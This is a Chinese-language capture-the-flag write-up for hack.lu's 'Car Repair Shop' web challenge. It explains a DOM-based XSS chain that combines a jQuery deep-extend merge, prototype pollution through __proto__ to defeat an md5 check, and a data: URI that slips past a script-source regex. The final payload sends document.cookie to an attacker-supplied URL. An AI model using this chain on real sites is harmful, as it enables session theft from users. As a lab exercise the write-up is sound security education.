0%

hack.lu ctf-Car Repair Shop(xss, prototype pollution, bypass)

题目描述

“Your Car broke down?! Come to our shop, we repair all cars! Even very old ones.” 传送门

题目分析

点开题目,右下角有个明显的链接get your cookie, 是一个提交链接的界面

upload successful

显然是dom-based xss

以下是关键代码

car.class.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class Car {
……
repair() {
if(urlParams.has('repair')) {
$.extend(true, this, JSON.parse(urlParams.get('repair')))
}
}
ignition() {
if (this.key == "") {
infobox(`Looks like the key got lost. No wonder the car is not starting ...`)
}
if (this.key == "🔑") {
infobox(`The car started!`)
this.start()
}
}
}

util.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const cars = [bugatti, porsche]
porsche.repair = () => {
if(!bugatti.isStarted()){
infobox(`Not so fast. Repair the other car first!`)
}
else if($.md5(porsche) == '9cdfb439c7876e703e307864c9167a15'){
if(urlParams.has('help')) {
repairWithHelper(urlParams.get('help'))
}
}
else{
infobox(`Repairing this is not that easy.`)
}
}

const autoStart = (car) => {
car.repair()
car.ignition()
car.powerOn()
}
$(document).ready(() => {
if(h.includes('Bugatti'))
autoStart(bugatti)
if(h.includes('Porsche'))
autoStart(porsche)
})
const repairWithHelper = (src) => {
/* who needs csp anyways !? */
urlRegx = /^\w{4,5}:\/\/car-repair-shop\.fluxfingersforfuture\.fluxfingers\.net\/[\w\d]+\/.+\.js$/;
if (urlRegx.test(src)) {
let s = document.createElement('script')
s.src = src
$('head').append(s)
}
}

我们需要通过autoStart修复bugattiporsche这两辆车来执行
repairWithHelper函数以此来触发xss,我们需要解决以下问题

  1. 绕过 key == “🔑”来启动 bugatti
  2. 绕过 $.md5(porsche) == ‘9cdfb439c7876e703e307864c9167a15’来执行repairWithHelper函数
  3. 绕过repairWithHelper函数中的正则表达式来执行js

要解决第一个问题,我们发现了如下代码:

1
2
3
4
5
repair() {
if(urlParams.has('repair')) {
$.extend(true, this, JSON.parse(urlParams.get('repair')))
}
}

这是jQuery官方对extend函数的定义:
upload successful
这样我们就可以在url中添加repair参数来解决第一个问题:
https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?repair={"key":"🔑","}#BugattiPorsche

第二个问题似乎就没有这么简单,我们要使porsch的md5为9cdfb439c7876e703e307864c9167a15,实际上就是lol的md5值,我们不妨直接计算porsche的md5

upload successful
发现其md5为[object Object]的md5,这是为什么呢?
实际上调用md5函数之前会调用toString方法,而porsche又继承于Object类,我们不妨改写此方法
upload successful
和我们料想的一模一样,因此可以改写porschetoString方法来绕过,然而JSON.parse并不支持方法的解析,那怎么办呢?
我们就不得不了解一下js中的prototype,什么是原型呢?
引用《JavaScript权威指南》的一段描述:

Every JavaScript object has a second JavaScript object (or null ,but this is rare) associated with it. This second object is known as a prototype, and the first object inherits properties from the prototype.

意思就是基本上每个js对象都有一个第二对象,这个对象就是原型,第一对象的所有属性都继承于原型。

upload successful

当调用一个对象的属性或方法时,它首先会从当前对象所定义的属性和对象寻找,若是没有,则从所继承的对象寻找即从__proto__寻找,若还是没有,则继续从__proto__.proto__寻找,直至最后。简而言之,__proto__所代表的就是所继承对象的原型,我们可以通过修改这个__proto__来达到修改父类属性或方法的目的,甚至直接修改它的父类。

upload successful

那么第二个问题就迎刃而解,我们将porsche的父类的父类改为['lol'],这样就会调用toString返回lol来绕过md5检测。

upload successful

payload: repair={"key":"🔑","__proto__":{"__proto__":["lol"]}}

第三个问题我们需要绕过

1
/^\w{4,5}:\/\/car-repair-shop\.fluxfingersforfuture\.fluxfingers\.net\/[\w\d]+\/.+\.js$/;

这个正则表达式,这个我们用data协议绕过即可:

data:[<mime type>][;charset=<charset>][;base64],<encoded data>

upload successful

OK!以下是完整payload

1
https://car-repair-shop.fluxfingersforfuture.fluxfingers.net/?repair={"key":"🔑","__proto__":{"__proto__":["lol"]}}&help=data://car-repair-shop.fluxfingersforfuture.fluxfingers.net/a/,$.get('[your-url]'+document.cookie)//.js#Bugatti%20Porsche

总结:

  1. 使用extend绕过key的检测
  2. 替换porsche的父类来绕过md5
  3. 使用data协议绕过src的正则表达式

参考链接:

  1. https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
  2. https://github.com/creeperyang/blog/issues/9